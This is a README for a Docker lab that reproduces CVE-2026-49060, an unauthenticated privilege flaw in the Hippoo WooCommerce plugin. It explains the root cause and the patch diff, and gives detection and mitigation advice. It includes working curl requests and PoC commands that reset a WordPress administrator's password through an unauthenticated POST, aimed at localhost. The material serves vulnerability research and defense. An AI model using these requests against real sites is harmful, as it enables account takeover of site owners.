
This repository contains a local Docker lab for reproducing and validating CVE-2026-49060, an Incorrect Privilege Assignment vulnerability affecting the WordPress plugin Hippoo Mobile App for WooCommerce.
The vulnerable behavior is exposed through Hippoo's cloned REST API namespace:
/wc-hippoo/v1/ext/
In the vulnerable target, an unauthenticated visitor can access a cloned WordPress REST users route and can update the administrator user's password through an unauthenticated HTTP request. In the patched target, the same request is blocked with 403 Forbidden.
This lab compares two Hippoo versions:
| Service | Hippoo version | Purpose | URL |
|---|---|---|---|
vuln | 1.9.4 | Vulnerable comparison target | http://localhost:8081 |
patched | 1.9.5 | Patched comparison target | http://localhost:8082 |
The demonstrated vulnerability chain is:
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
This lab validates the vulnerable-versus-patched authorization behavior using Hippoo 1.9.4 and Hippoo 1.9.5.
The lab is intentionally scoped to local Docker services. It does not target external systems and does not include persistence, web shells, malware, or external callbacks.
This lab uses Hippoo 1.9.4 as the vulnerable comparison target because public advisories identify versions through 1.9.4 as affected.
This lab uses Hippoo 1.9.5 as the patched comparison target because public advisory metadata identifies 1.9.5 as the fixed version for the demonstrated affected range.
The public CVE-2026-49060 record describes the issue at a high level as Incorrect Privilege Assignment / Privilege Escalation. This lab focuses on the observable authorization behavior in Hippoo 1.9.4 and compares it against Hippoo 1.9.5.
The root cause summary in this README is based on source comparison between the vulnerable and patched Hippoo versions used in the lab.
This lab does not claim to test every Hippoo route. It focuses on the cloned WordPress users REST route:
/wc-hippoo/v1/ext/wp/v2/users/<id>
The lab does not demonstrate:
The root cause is a permission logic flaw in Hippoo's role and permission handling.
Hippoo exposes cloned WordPress and WooCommerce REST routes under its own namespace:
/wc-hippoo/v1/ext/
The route-cloning behavior is security-sensitive because the cloned route must preserve or strengthen the original route's authorization requirements. If the cloned route receives a permissive permission callback, unauthenticated users may be able to reach REST endpoints that should require authentication and authorization.
The relevant route-cloning behavior follows this pattern:
function re_register_external_routes() {
$server = rest_get_server();
$endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
The intended security model is:
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
The vulnerable behavior occurs because Hippoo 1.9.4 uses the same return value for two different states:
administrator / unrestricted access
unauthenticated visitor / no user
In Hippoo 1.9.4, the permission helper returns null when there is no logged-in WordPress user:
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
The vulnerable version also treats null as allowed:
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
This creates the vulnerable data flow:
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
The issue is not simply that a REST route exists. The issue is that the permission decision can incorrectly treat an unauthenticated visitor as unrestricted.
The patched version separates those states.
In Hippoo 1.9.5, unauthenticated visitors return false instead of null:
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
The patched authorization check then explicitly denies false:
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
The security-relevant change is:
Before:
unauthenticated visitor → null → allowed
After:
unauthenticated visitor → false → denied
This is why the lab shows:
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
The patch changes the meaning of permission return values.
In the vulnerable version:
null means administrator/full access
null also means unauthenticated/no user
In the patched version:
null means administrator/full access
false means unauthenticated/no role/no access
The important source-level change in the permission helper is:
public static function get_user_permissions()
{
$user = wp_get_current_user();
- if (empty($user) || !$user->exists()) {
- return null;
+ if (empty($user) || !$user->exists() || !is_user_logged_in()) {
+ return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
- if (!isset($settings[$role])) {
- continue;
+ if (isset($settings[$role])) {
+ return $settings[$role];
}
-
- return $settings[$role];
}
- return null; // Full access
+ return false; // No access
}
The authorization decision is also changed:
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
This patch does not remove Hippoo's route-cloning feature. Instead, it fixes the trust boundary around permission evaluation.
The security lesson from the patch is:
A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
Security-sensitive permission functions should use distinct values for distinct states:
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
The lab runs two isolated WordPress installations through Docker Compose.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
The two WordPress services use separate databases and separate plugin versions:
Default exposed services:
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
The lab uses pinned Hippoo versions:
| Target | Hippoo version | Expected behavior |
|---|---|---|
http://localhost:8081 | 1.9.4 | unauthenticated cloned users route is allowed |
http://localhost:8082 | 1.9.5 | unauthenticated cloned users route is blocked |
The lab installs WooCommerce because Hippoo integrates with WooCommerce REST classes and routes.
No Python third-party package is required. The PoC uses Python standard library modules only.
Start the lab from a clean state:
docker compose down -v --remove-orphans
docker image rm -f \
cve-2026-49060-vuln:1.9.4 \
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
Check service status:
docker compose ps
Expected healthy services:
cve-2026-49060-vuln
cve-2026-49060-patched
cve-2026-49060-init-vuln
cve-2026-49060-init-patched
cve-2026-49060-db-vuln
cve-2026-49060-db-patched
Check the web applications:
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Run read-only validation against both targets:
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Run active local validation against both targets:
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Run active validation with an explicit password:
python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
Pass one or more local target URLs as positional arguments:
python3 poc/poc.py <target_url> [target_url...]
Examples:
python3 poc/poc.py http://127.0.0.1:8081
python3 poc/poc.py http://127.0.0.1:8082
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
The default mode is read-only. It sends an unauthenticated GET request to the cloned users route and reports whether access is allowed or blocked.
Supported options:
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
Active validation example:
python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
The PoC accepts only loopback/local targets:
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
It refuses non-local targets by design.
Command:
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Expected vulnerable target signal:
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Expected patched target signal:
Target: target-2
Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED
Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 403 Forbidden
Expected summary:
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
Command:
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Expected vulnerable target signal:
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
Expected patched target signal:
Active local validation: target-2
Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED
Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 403 Forbidden
The active validation changes only the disposable WordPress administrator password inside the local vulnerable lab target.
Default local lab credentials before active validation:
Username: admin
Password: AdminPass123!
Default password after successful active validation on the vulnerable target:
Username: admin
Password: Cve49060LabPass123!
The validator first discovers the WordPress REST API.
Some WordPress environments expose REST routes through pretty permalinks:
/wp-json/
Others expose them more reliably through the query-string fallback:
/?rest_route=/
The validator tries both forms and uses the one that returns a JSON REST index.
After REST discovery, it looks for the Hippoo cloned users route:
/wc-hippoo/v1/ext/wp/v2/users
Then it performs a read-only unauthenticated GET request:
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Expected vulnerable behavior:
HTTP 200 OK
JSON user object returned
Expected patched behavior:
HTTP 403 Forbidden
JSON rest_forbidden error returned
When --update-password is enabled, the validator sends an unauthenticated POST request:
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
Expected vulnerable behavior:
HTTP 200 OK
The selected user's password is updated inside the local lab target.
Expected patched behavior:
HTTP 403 Forbidden
The update is blocked.
The important difference is not whether the route exists. The route exists in both versions. The security difference is whether an unauthenticated request is allowed to invoke it.
Read-only vulnerable probe:
curl -i \
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Expected result:
HTTP/1.1 200 OK
Content-Type: application/json
Read-only patched probe:
curl -i \
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
Expected result:
HTTP/1.1 403 Forbidden
Content-Type: application/json
Active vulnerable probe:
curl -i -X POST \
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
-H 'Content-Type: application/json' \
--data '{"password":"Cve49060LabPass123!"}'
Expected result:
HTTP/1.1 200 OK
Active patched probe:
curl -i -X POST \
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1' \
-H 'Content-Type: application/json' \
--data '{"password":"Cve49060LabPass123!"}'
Expected result:
HTTP/1.1 403 Forbidden
The vulnerable behavior allows unauthenticated access to cloned REST routes under Hippoo's namespace.
The most security-sensitive demonstrated route is the cloned WordPress users route:
/wc-hippoo/v1/ext/wp/v2/users/<id>
In the vulnerable local target, an unauthenticated request can update the administrator user's password. This demonstrates account takeover impact in the controlled lab.
Potential real-world impact, depending on site configuration and exposed routes, includes:
This lab demonstrates the authorization failure and local administrator password update only. It does not include post-authentication exploitation, plugin editing, code execution, persistence, or destructive actions.
Potential indicators include unauthenticated requests to Hippoo's cloned REST namespace:
/wc-hippoo/v1/ext/
High-risk route pattern:
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/<id>
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/<id>
Suspicious indicators:
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
Example access log patterns:
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Recommended monitoring actions:
/wc-hippoo/v1/ext/.200 OK to unauthenticated users where authorization should be required.Upgrade Hippoo Mobile App for WooCommerce to a patched version.
For the specific lab comparison, Hippoo 1.9.5 blocks the demonstrated unauthenticated cloned users route behavior that is allowed in 1.9.4.
For production environments, update to the latest available version rather than stopping at the lab comparison version.
Recommended mitigation steps:
/wc-hippoo/v1/ext/ is exposed publicly.Security engineering lessons:
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
Check container status:
docker compose ps
Check initialization logs:
docker compose logs init-vuln init-patched
Check web services:
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Run read-only validation:
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
Run active validation:
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
Check active plugins:
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
Check Hippoo versions:
docker compose exec -T vuln sh -lc \
"grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc \
"grep -R \"Version:\" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
Inspect permission logic in the vulnerable target:
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Inspect permission logic in the patched target:
docker compose exec -T patched sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
Save validation evidence:
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
Stop and remove containers and networks:
docker compose down --remove-orphans
Remove containers, networks, and volumes:
docker compose down -v --remove-orphans
Remove local evidence files if created:
rm -rf evidence/
This lab is for local security research and controlled demonstration only.
Do not run the PoC or manual curl requests against systems you do not own or do not have explicit authorization to test.
Do not use real production credentials, real customer data, or production secrets in this lab.
The intended scope is limited to local Docker services such as:
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
The PoC is intentionally HTTP-only and local-scope. It does not call Docker, Docker Compose, WP-CLI, or container APIs.
The active validation mode changes the password only for the selected WordPress user inside the disposable local lab target.
The lab does not include payloads for:
The goal is to demonstrate one specific technical condition in a controlled environment:
unauthenticated request
+ Hippoo cloned REST route
+ vulnerable permission sentinel logic
+ unauthenticated access allowed in 1.9.4
+ unauthenticated access blocked in 1.9.5
NVD: CVE-2026-49060 https://nvd.nist.gov/vuln/detail/CVE-2026-49060
Patchstack: WordPress Hippoo Mobile App for WooCommerce Plugin <= 1.9.4 Privilege Escalation https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
GitHub Advisory: GHSA-mh6m-7983-2r5w https://github.com/advisories/GHSA-mh6m-7983-2r5w
WordPress.org Plugin: Hippoo Mobile App for WooCommerce https://wordpress.org/plugins/hippoo/
WordPress.org Plugin SVN https://plugins.svn.wordpress.org/hippoo/
WordPress.org Plugin SVN Tags https://plugins.svn.wordpress.org/hippoo/tags/
WordPress REST API Handbook: Routes and Endpoints https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
OWASP Web Security Testing Guide: Testing for Authorization Bypass https://owasp.org/www-project-web-security-testing-guide/
| Claim | Evidence | How to verify in this lab |
|---|
CVE-2026-49060 affects Hippoo Mobile App for WooCommerce through version 1.9.4. | Public advisories identify Hippoo <= 1.9.4 / through 1.9.4 as affected. | Review the References section and compare the vuln service version. |
Hippoo 1.9.5 is used as the patched comparison target. | Public advisory metadata identifies 1.9.5 as a patched version for the affected range. | Run docker compose logs init-vuln init-patched and confirm the initialized plugin versions. |
| The vulnerable behavior is exposed through Hippoo's cloned REST namespace. | Hippoo re-registers external REST routes under /wc-hippoo/v1/ext/. | Run python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082. |
Hippoo 1.9.4 allows unauthenticated access to the cloned users route in this lab. | The lab PoC receives 200 OK from http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Run the read-only validation command against 8081. |
Hippoo 1.9.5 blocks the same unauthenticated request in this lab. | The lab PoC receives 403 Forbidden from http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | Run the read-only validation command against 8082. |
| The vulnerable target can update the administrator password through an unauthenticated POST in this local lab. | The active PoC receives 200 OK from the vulnerable target when --update-password is used. | Run python3 poc/poc.py --update-password http://127.0.0.1:8081. |
| The patched target blocks the unauthenticated password update request. | Hippoo 1.9.5 returns a forbidden response for the same cloned users route. | Run active validation against both targets. |
| The PoC is HTTP-only. | poc/poc.py sends HTTP requests only and does not call Docker, WP-CLI, or container APIs. | Inspect poc/poc.py. |
| Service | Component | Version / Role |
|---|
vuln | WordPress + WooCommerce + Hippoo | vulnerable target application |
patched | WordPress + WooCommerce + Hippoo | patched target application |
db-vuln | MariaDB | database for vulnerable target |
db-patched | MariaDB | database for patched target |
init-vuln | WordPress initialization service | initializes vulnerable target |
init-patched | WordPress initialization service | initializes patched target |